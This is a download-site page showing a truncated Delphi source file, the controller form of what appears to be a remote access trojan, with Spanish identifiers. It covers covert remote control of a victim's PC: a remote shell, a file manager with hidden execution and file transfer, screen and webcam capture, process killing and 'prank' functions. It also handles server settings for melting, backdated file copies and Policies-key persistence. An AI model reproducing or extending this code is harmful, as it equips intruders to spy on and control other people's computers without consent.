⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitformcontrol.pas

📁 远程控制软件
💻 PAS
字号:
unit UnitFormControl;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, CommCtrl,
  Dialogs, ComCtrls, ImgList, Menus, ExtCtrls, StdCtrls, Buttons, ScktComp, Jpeg,
  IdThreadMgr, IdThreadMgrDefault, IdAntiFreezeBase,
  IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPServer, UnitTransfer, ShellApi,
  GR32_Image, GR32_Layers;

type
  TFormControl = class(TForm)
    PageControl: TPageControl;
    TabInfo: TTabSheet;
    BtnRefrescarInformacion: TSpeedButton;
    TabProcesos: TTabSheet;
    BtnRefrescarProcesos: TSpeedButton;
    TabVentanas: TTabSheet;
    BtnRefrescarVentanas: TSpeedButton;
    ListViewVentanas: TListView;
    TabBromas: TTabSheet;
    BtnEnviarBromas: TSpeedButton;
    ListViewBromas: TListView;
    TabFileManager: TTabSheet;
    LabelPathArchivos: TLabel;
    LabelNumeroDeArchivos: TLabel;
    LabelNumeroDeCarpetas: TLabel;
    BtnActualizarArchivos: TSpeedButton;
    BtnVerUnidades: TSpeedButton;
    cmbUnidades: TComboBox;
    ListViewArchivos: TListView;
    EditPathArchivos: TEdit;
    Mensajes: TTabSheet;
    MemoMensaje: TMemo;
    TabScreencap: TTabSheet;
    PopupProcess: TPopupMenu;
    Cerrar1: TMenuItem;
    PopupWindows: TPopupMenu;
    Cerrar2: TMenuItem;
    PopupFileManager: TPopupMenu;
    EjecutarAbrir1: TMenuItem;
    Normal1: TMenuItem;
    Oculto1: TMenuItem;
    Eliminar: TMenuItem;
    Cambiarnombre1: TMenuItem;
    Crearnuevacarpeta1: TMenuItem;
    StatusBar: TStatusBar;
    BtnEnviarMensaje: TSpeedButton;
    TabWebcam: TTabSheet;
    TabServidor: TTabSheet;
    ListViewServidor: TListView;
    BtnActualizarServidorInfo: TSpeedButton;
    Descargarfichero1: TMenuItem;
    N4: TMenuItem;
    TabTransferencias: TTabSheet;
    ListViewDescargas: TListView;
    PopupDescargas: TPopupMenu;
    Subir1: TMenuItem;
    Bajar1: TMenuItem;
    Eliminardescarga1: TMenuItem;
    Subirfichero1: TMenuItem;
    TabShell: TTabSheet;
    MemoShell: TMemo;
    PopupShell: TPopupMenu;
    Activar2: TMenuItem;
    ComboBoxShellCommand: TComboBox;
    Desactivar2: TMenuItem;
    PopupServicios: TPopupMenu;
    Iniciar1: TMenuItem;
    DEtener1: TMenuItem;
    Desinstalar1: TMenuItem;
    Instalar1: TMenuItem;
    DetenerDescarga1: TMenuItem;
    ReanudarDescarga1: TMenuItem;
    ComboBoxGestionDeServidor: TComboBox;
    BtnEnviarComandoServidor: TSpeedButton;
    IconsArchivos: TImageList;
    ListViewInformacion: TListView;
    BtnCapturarScreen: TSpeedButton;
    ClicksRemotos: TLabel;
    ProgressBarScreen: TProgressBar;
    TrackBarCalidad: TTrackBar;
    CheckBoxMouseClicks: TCheckBox;
    ProgressBarWebcam: TProgressBar;
    ComboBoxWebcam: TComboBox;
    TrackBarCalidadWebcam: TTrackBar;
    LabelPosicionCompresJpgWebcam: TLabel;
    LabelCalidadWebcam: TLabel;
    BtnCapturarWebcam: TSpeedButton;
    BtnObtenerWebcams: TSpeedButton;
    EditTituloMensaje: TEdit;
    GrpBoxTipoMensaje: TGroupBox;
    ImgError: TImage;
    ImgAsterisk: TImage;
    ImgWarning: TImage;
    ImgInfo: TImage;
    RdBtnError: TRadioButton;
    RdBtnPregunta: TRadioButton;
    RdBtnExclamacion: TRadioButton;
    RdBtnInfo: TRadioButton;
    RdBtnVacio: TRadioButton;
    RdGrpBotonesMensaje: TRadioGroup;
    ListViewProcesos: TListView;
    OpenDialogUpload: TOpenDialog;
    BtnOpen: TSpeedButton;
    ImgCaptura: TImage32;
    ImgWebcam: TImage32;
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure BtnRefrescarProcesosClick(Sender: TObject);
    procedure BtnRefrescarVentanasClick(Sender: TObject);
    procedure cmbUnidadesSelect(Sender: TObject);
    procedure ListViewArchivosDblClick(Sender: TObject);
    procedure Cerrar1Click(Sender: TObject);
    procedure Cerrar2Click(Sender: TObject);
    procedure Normal1Click(Sender: TObject);
    procedure Oculto1Click(Sender: TObject);
    procedure EliminarClick(Sender: TObject);
    procedure Cambiarnombre1Click(Sender: TObject);
    procedure Crearnuevacarpeta1Click(Sender: TObject);
    procedure BtnRefrescarInformacionClick(Sender: TObject);
    procedure BtnActualizarArchivosClick(Sender: TObject);
    procedure BtnEnviarBromasClick(Sender: TObject);
    procedure BtnVerUnidadesClick(Sender: TObject);
    procedure ListViewArchivosContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewArchivosEdited(Sender: TObject; Item: TListItem;
      var S: string);
    procedure BtnEnviarMensajeClick(Sender: TObject);
    procedure BtnCapturarScreen1Click(Sender: TObject);
    procedure BtnObtenerWebcamsClick(Sender: TObject);
    procedure BtnCapturarWebcamClick(Sender: TObject);
    procedure BtnActualizarServidorInfoClick(Sender: TObject);
    procedure BtnEnviarComandoServidorClick(Sender: TObject);
    procedure Descargarfichero1Click(Sender: TObject);
    procedure Borrarcompletados1Click(Sender: TObject);
    procedure ListViewDescargasContextPopup(Sender: TObject;
      MousePos: TPoint; var Handled: Boolean);
    procedure ListViewDescargasCustomDrawSubItem(Sender: TCustomListView;
      Item: TListItem; SubItem: Integer; State: TCustomDrawState;
      var DefaultDraw: Boolean);
    procedure Eliminardescarga1Click(Sender: TObject);
    procedure Subir1Click(Sender: TObject);
    procedure Bajar1Click(Sender: TObject);
    procedure Subirfichero1Click(Sender: TObject);
    procedure Activar2Click(Sender: TObject);
    procedure ComboBoxShellCommandKeyPress(Sender: TObject; var Key: Char);
    procedure PopupShellPopup(Sender: TObject);
    procedure Desactivar2Click(Sender: TObject);
    procedure PopupDescargasPopup(Sender: TObject);
    procedure DetenerDescarga1Click(Sender: TObject);
    procedure ReanudarDescarga1Click(Sender: TObject);
    procedure ObtenerScreenCap_CamCap(AThread: TIdPeerThread; filesize: int64);
    procedure EditPathArchivosKeyPress(Sender: TObject; var Key: Char);
    procedure ListViewProcesosColumnClick(Sender: TObject;
      Column: TListColumn);
    procedure ListViewProcesosCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure ListViewRegistroCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure ListViewArchivosCompare(Sender: TObject; Item1,
      Item2: TListItem; Data: Integer; var Compare: Integer);
    procedure BtnOpenClick(Sender: TObject);
    procedure ImgCapturaMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer; Layer: TCustomLayer);
  private
    Servidor: TIdPeerThread;
    RecibiendoFichero: Boolean;
    NombreSI, DescripcionSI, RutaSI: string;
    Columna, ColumnaOrdenada: Integer;

    function IconNum(strExt: string): Integer;
    procedure UpdateProgressBarScreen;
    procedure TransferFinishedNotification(Sender: TObject);
  public
    NombrePC: string;
    constructor Create(aOwner: TComponent; AThread: TIdPeerThread); overload;
    procedure OnRead(command: string; AThread: TIdPeerThread); overload;
    procedure OnReadFile(AThread: TIdPeerThread); overload;
  end;

var
  FormControl: TFormControl;
  pctProgressBarScreen: integer;
  GenericBar: TProgressBar;

implementation

uses
  UnitMain, UnitFunciones;

{$R *.dfm}


constructor TFormControl.Create(aOwner: TComponent; AThread: TIdPeerThread);
begin
  inherited Create(aOwner);
  Servidor := AThread;
end;

procedure TFormControl.FormCreate(Sender: TObject);
begin
  RecibiendoFichero := False;
end;

procedure TFormControl.OnRead(command: string; AThread: TIdPeerThread);
var
  Recibido, TempStr: string;
  Item: TListItem;
  i, a: Integer;
  RealSize: string;
begin
  Recibido := Command;
//  FormMain.Caption := Recibido; //Para debuggear!
  if Recibido = 'CONNECTED?' then Exit;
  if Pos('CONNECTED?', Recibido) > 0 then
    Delete(Recibido, Pos('CONNECTED?', Recibido), Length('CONNECTED?'));
 //Borra la String 'CONNECTED?'

  if Copy(Recibido, 1, 4) = 'INFO' then
  begin
    Delete(Recibido, 1, 5); //Borramos INFO|
    for i := 0 to 9 do //10 items
    begin
      if i = 9 then //Tama駉 de los discos duros recibido en bytes
        ListViewInformacion.Items[i].SubItems[0] := ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, Pos('|', Recibido) - 1)))
      else
        ListViewInformacion.Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;

  //Comandos relacionados con la gesti髇 del servidor
  if Copy(Recibido, 1, 8) = 'SERVIDOR' then
  begin
    Delete(Recibido, 1, 9);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca el comando
    Delete(Recibido, 1, Pos('|', Recibido));
    //Informaci髇 espec韋ica del servidor
    if TempStr = 'INFO' then
    begin
      with ListViewServidor do
      begin
        //Versi髇
        Items[0].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        Delete(Recibido, 1, Pos('|', Recibido));
        //Nombre
        Items[1].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        Delete(Recibido, 1, Pos('|', Recibido));
        for i := 3 to 5 do
        begin
          //IP, Puerto, Conectar Cada
          Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
          Delete(Recibido, 1, Pos('|', Recibido));
        end;
        for i := 7 to 11 do
        begin
          //bCopiar, NombreDeArchivo, Copiar a, melt, CopiarConFechaAnterior
          Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
          Delete(Recibido, 1, Pos('|', Recibido));
        end;
        for i := 13 to 14 do
        begin
          //bPolicies, Nombre de la clave de Policies
          Items[i].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
          Delete(Recibido, 1, Pos('|', Recibido));
        end;
        //Ruta del servidor
        Items[16].SubItems[0] := Copy(Recibido, 1, Pos('|', Recibido) - 1);
        Delete(Recibido, 1, Pos('|', Recibido))
      end;
    end;
  end;


  if Copy(Recibido, 1, 4) = 'PROC' then
  begin
    ListViewProcesos.Clear;
    Delete(Recibido, 1, 5);
    while pos('|', Recibido) > 0 do
    begin
      Item := ListViewProcesos.Items.Add;
      Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      Delete(Recibido, 1, Pos('|', Recibido));
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;

  if Copy(Recibido, 1, 4) = 'WIND' then
  begin
    ListViewVentanas.Clear;
    Delete(Recibido, 1, 5);
    while pos('|', Recibido) > 0 do
    begin
      Item := ListViewVentanas.Items.Add;
      Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
      Delete(Recibido, 1, Pos('|', Recibido));
      Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
  end;



  if Copy(Recibido, 1, 3) = 'MSG' then
  begin
    Delete(Recibido, 1, 4);
    if Recibido = 'El directorio no existe!' then
    begin
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, Length(EditPathArchivos.Text) - 1); //Borra el ultimo '\'
      EditPathArchivos.Text := Copy(EditPathArchivos.Text, 1, LastDelimiter('\', EditPathArchivos.Text));
    end;
    StatusBar.Panels[1].Text := Recibido;
    MessageBeep($FFFFFFFF); //Suena un ruidito..., para informar que hay que mirar la StatusBar :)
  end;

  if Copy(Recibido, 1, 15) = 'MOUSETEMBLOROSO' then
  begin
    Delete(Recibido, 1, 16); //Borra 'MOUSETEMBLOROSO|' de la string
    ListViewBromas.Items[0].SubItems[0] := Recibido;
                       //0 porque es el primero en la ListViewBromas
  end;
  if Copy(Recibido, 1, 13) = 'CONGELARMOUSE' then
  begin
    Delete(Recibido, 1, 14); //Borra 'CONGELARMOUSE|' de la string
    ListViewBromas.Items[1].SubItems[0] := Recibido;
  end;
  if Copy(Recibido, 1, 7) = 'ABRIRCD' then
  begin
    Delete(Recibido, 1, 8); //Borra ''ABRIRCD|' de la string
    ListViewBromas.Items[2].SubItems[0] := Recibido;
  end;
  if Copy(Recibido, 1, 16) = 'MATARBOTONINICIO' then
  begin
    Delete(Recibido, 1, 17); //Borra 'MATARBOTONINICIO|' de la string
    ListViewBromas.Items[3].SubItems[0] := Recibido;
  end;

  if Copy(Recibido, 1, 11) = 'VERUNIDADES' then
  begin
    Delete(Recibido, 1, 12); //Borra 'VERUNIDADES|' de la string
    cmbUnidades.Items.Clear;
    while Pos('|', Recibido) > 1 do //Mayor que 1 porque hay un '|' al final de la cadena que se desprecia
    begin
      TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Unidad
      Delete(Recibido, 1, Pos('|', Recibido)); //Borra lo que acaba de copiar
      TempStr := TempStr + ' ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Nombre
      Delete(Recibido, 1, Pos('|', Recibido));

      TempStr := TempStr + ' - Free Space/total: ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1)))); //Espacio disponible
      Delete(Recibido, 1, Pos('|', Recibido));
      TempStr := TempStr + ' / ' + ObtenerMejorUnidad(StrToInt64(Copy(Recibido, 1, (Pos('|', Recibido) - 1)))); //Espacio total
      Delete(Recibido, 1, Pos('|', Recibido));
      TempStr := TempStr + ' - Formato: ' + Copy(Recibido, 1, (Pos('|', Recibido) - 1)); //Formato
      Delete(Recibido, 1, Pos('|', Recibido));
      case StrToInt(Copy(Recibido, 1, (Pos('|', Recibido) - 1))) of //el 鷏timo caracter
        0: TempStr := TempStr + ' - Unknown';
        2: TempStr := TempStr + ' - Floppy disk';
        3: TempStr := TempStr + ' - Hard Disk';
        4: TempStr := TempStr + ' - Network Disk';
        5: TempStr := TempStr + ' - CD/DVD Drive';
        6: TempStr := TempStr + ' - RAM Disk';
      end;
      cmbUnidades.Items.Add(TempStr);
      Delete(Recibido, 1, Pos('|', Recibido));
    end;
    cmbUnidades.Enabled := True;
    EditPathArchivos.Enabled := True;
    BtnActualizarArchivos.Enabled := True;
    StatusBar.Panels[1].Text := 'Drives Listed.';
  end;

  if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then
  begin
    Delete(Recibido, 1, 15); //Borra 'LISTARARCHIVOS|'

    if Pos('|', Recibido) > 1 then
    begin
      TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1); //Saca la longitud de la cadena
      Delete(Recibido, 1, Pos('|', Recibido)); //Borra la longitud
    end;
    while Length(Recibido) < StrToInt(TempStr) do //mientras el length de la cadena sea menor a lo que nos dice el server
      Recibido := Recibido + Trim(Athread.Connection.ReadLn);

    ListViewArchivos.Items.BeginUpdate;
    ListViewArchivos.Clear; //Limpia primero...
    if Length(EditPathArchivos.Text) > 3 then
    begin
      Item := ListViewArchivos.Items.Add;
      Item.ImageIndex := 0;
      Item.Caption := '<..>';
    end;
    while Pos('|', Recibido) > 1 do
    begin
      TempStr := Copy(Recibido, 1, (Pos('|', Recibido) - 1));
      Delete(Recibido, 1, Pos('|', Recibido)); //Borra lo que acaba de copiar
      if TempStr[1] = #2 then //entonces le lleg

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -